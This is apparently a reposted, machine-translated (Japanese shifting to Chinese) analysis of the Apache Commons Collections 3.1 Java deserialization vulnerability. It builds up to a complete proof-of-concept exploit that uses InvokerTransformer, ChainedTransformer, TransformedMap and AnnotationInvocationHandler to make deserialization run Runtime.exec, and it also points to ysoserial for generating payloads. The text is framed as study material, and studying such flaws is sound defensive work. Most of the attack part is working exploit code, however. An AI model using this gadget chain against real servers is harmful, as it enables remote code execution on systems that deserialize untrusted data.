このコンポーネントの逆シリアル化の脆弱性は多くの記事で分析されていますが、それでもここに記録する必要があります。結局のところ、これは Java デシリアライゼーションの脆弱性の開発にとって重要です。
Apache Commons Collections は、Java アプリケーション開発で非常に一般的に使用されるツール ライブラリです。これにより、多くの強力なデータ構造が追加され、Java アプリケーションの開発が簡素化され、Java がコレクション データを処理するための標準として認識されています。 Weblogic、WebSphere、Jboss、Jenkins などの多くの一般的なアプリケーションはすべて、Apache Commons Collections ツール ライブラリを使用しています。ツール ライブラリに逆シリアル化の脆弱性が発生すると、これらのアプリケーションも影響を受けます。これが、逆シリアル化の脆弱性が非常に深刻である理由です。理由。
jdk1.7.0_21 commons-collections-3.1.jar
Apache Commons Collections コンポーネントの履歴バージョンのダウンロード アドレス: http: //archive.apache.org/dist/commons/collections/binaries/、または Maven 依存関係を使用します:
commons-collections commons-collections 3.1
このコンポーネントは、Java デシリアライゼーション脆弱性悪用ツール ysoserial (https://github.com/frohoff/ysoserial) 脆弱性悪用に統合されています。ペイロード; ペネトレーション テスト中に、Java シリアル化データ (16 進数の ACE または Base64 エンコード形式で r00AB で始まるデータ) の特性に従って、Web アプリケーションに基づいて、CommonsCollections コンポーネントが存在する可能性があると推測される Java 逆シリアル化のエントリ ポイントを探すだけです。 、ysoserial ツールを直接使用して、脆弱性悪用のペイロードを直接生成できます。
ここでは、Transformer インターフェイスとこのインターフェイスを実装するいくつかのクラスを使用して構築されたコード実行脆弱性エクスプロイト チェーンを分析します。
Transformer インターフェイスの定義は非常に単純です。transform() メソッドを定義するだけです。ドキュメントによると、このメソッドは主にオブジェクトの変換に使用されます。このインターフェースを実装するクラスは数多くありますが、ここでは主に ConstantTransformer、InvokerTransformer、ChainedTransformer の 3 つの実装クラスを使用します。
package org.apache.commons.collections; public interface Transformer { //对象转换 public Object transform(Object input); }
ChainedTransformer クラスは、Transformer[] 配列を定義し、transform() メソッドを実装するときに、配列要素を順番に走査し、それに対応する Transformer 実装クラスを呼び出します。配列要素。transform() メソッドは、複数の Transformer オブジェクトをつなぎ合わせます。
public class ChainedTransformer implements Transformer, Serializable { private final Transformer[] iTransformers; ... public ChainedTransformer(Transformer[] transformers) { super(); iTransformers = transformers; } public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; } ... }
InvokerTransformer クラスのtransform() メソッドは、主にリフレクション メカニズムを通じて受信パラメータ オブジェクトのメソッドを呼び出します。設定する必要があるのは、メソッド名とパラメータ タイプだけです。 InvokerTransformer オブジェクトとパラメータ値を構築します。
public class InvokerTransformer implements Transformer, Serializable { /** The method name to call */ private final String iMethodName; /** The array of reflection parameter types */ private final Class[] iParamTypes; /** The array of reflection arguments */ private final Object[] iArgs; ... public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } //简化后的transform()方法,通过反射机制调用对象的方法 public Object transform(Object input) { ... Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); ... } }
ConstantTransformer クラスは非常に単純で、受信したオブジェクトを直接返します。
public class ConstantTransformer implements Transformer, Serializable { private final Object iConstant; ... public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; } public Object transform(Object input) { return iConstant; } ... }
上記の状況を考慮して、コード Runtime.getRuntime().exec() の実行を実装することを目指します。明らかに、リフレクション呼び出しを実装するには、InvokerTransformer クラスのtransform() メソッドを使用する必要があります。以下に示すように、これはコード実行のソースです。
package orz.vuln.poc; import org.apache.commons.collections.functors.InvokerTransformer; public class CommonsCollections { public static void main(String[] args) throws Exception { //通过InvokeTransformer类反射调用Runtime代码 InvokerTransformer invoker1 = new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}); InvokerTransformer invoker2 = new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, null}); InvokerTransformer invoker3 = new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc.exe"}); invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class))); /*正常反射调用Runtime代码 Class clazz = Runtime.class; Method m1 = clazz.getMethod("getRuntime", null); Method m2 = clazz.getMethod("exec", String.class); m2.invoke(m1.invoke(clazz, null), "calc.exe"); */ } }
さらに、invoker3.transform(invoker2.transform(invoker1.transform() の代わりに、ChainedTransformer クラスのtransform() メソッドを使用できることがわかりました。 Runtime.class )))、つまり、上記の複数の InvokerTransformer オブジェクトを Transformer[] 配列に初期化し、Runtime.class を使用して ConstantTransformer クラス オブジェクトを初期化します。このようにして、任意のオブジェクトを使用してコード実行をトリガーできる Transformer 呼び出しチェーンが作成されます。
package orz.vuln.poc; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; public class CommonsCollections { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, null}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc.exe"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform("foo"); } }
次に、コード実行の目的を達成するために、逆シリアル化を通じて Transformer オブジェクトのtransform() メソッドの呼び出しをトリガーしたいと考えています。
Apache Commons Collections は、マップ上で何らかの変換を実行する TransformedMap クラスを定義します。このクラスは、以下に示すように、decorate() メソッドを呼び出すことによってインスタンス化されます。
#そして、このクラスには checkSetValue() メソッドもあり、Transformer オブジェクトを呼び出すtransform() メソッドが実装されています; メソッドの説明によると、checkSetValue() メソッドは
# したがって、私たちのアイデアは、Map オブジェクトと構築された悪意のある Transformer オブジェクトを使用して、TransformedMap オブジェクトを初期化することです。次に setValue() メソッドを呼び出して、Map オブジェクトの値を変更します。コードは次のとおりです:
package orz.vuln.poc; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class CommonsCollections { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, null}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc.exe"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); //chainedTransformer.transform("foo"); Map map = new HashMap(); map.put("foo", "bar"); Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next(); entry.setValue("test"); } }
逆シリアル化によって setValue() メソッドの実行がトリガーされる場所を探し続け、最終的に見つかります。これは AnnotationInvocationHandler クラスの readObject() メソッド内にあります。
AnnotationInvocationHandler类的readObject()方法如下所示:
由于该类不提供公开的构造方法进行初始化,所以,我们通过反射调用该类的构造方法,并使用恶意的TransformedMap对象进行初始化,就可以生成攻击payload。在执行entry.setValue()方法之前,需要满足一个判断条件
根据代码溯源可知,clazz变量是一个注解子类对象的属性值,如果要满足clazz变量不为null的话,在Class clazz=map.get(str)中则需要满足str是我们使用的注解类的属性;在漏洞利用代码中我们使用了java.lang.annotation.Target注解,而该注解只有一个属性value,因此我们在map.put()时,需要保证key的值是value。
最终,完整漏洞利用代码如下:
package orz.vuln.poc; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class CommonsCollections { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, null}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc.exe"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); //chainedTransformer.transform("foo"); Map map = new HashMap(); map.put("value", "bar");//由于使用java.lang.annotation.Target,此处key值必须为value Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer); //Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next(); //entry.setValue("test"); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, transformedMap); FileOutputStream fos = new FileOutputStream("D:/commonscollections.ser"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(instance); oos.close(); fos.close(); FileInputStream fis = new FileInputStream("D:/commonscollections.ser"); ObjectInputStream ois = new ObjectInputStream(fis); ois.readObject(); ois.close(); fis.close(); } }
以上がApache Commons Collections デシリアライゼーションの脆弱性の分析例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。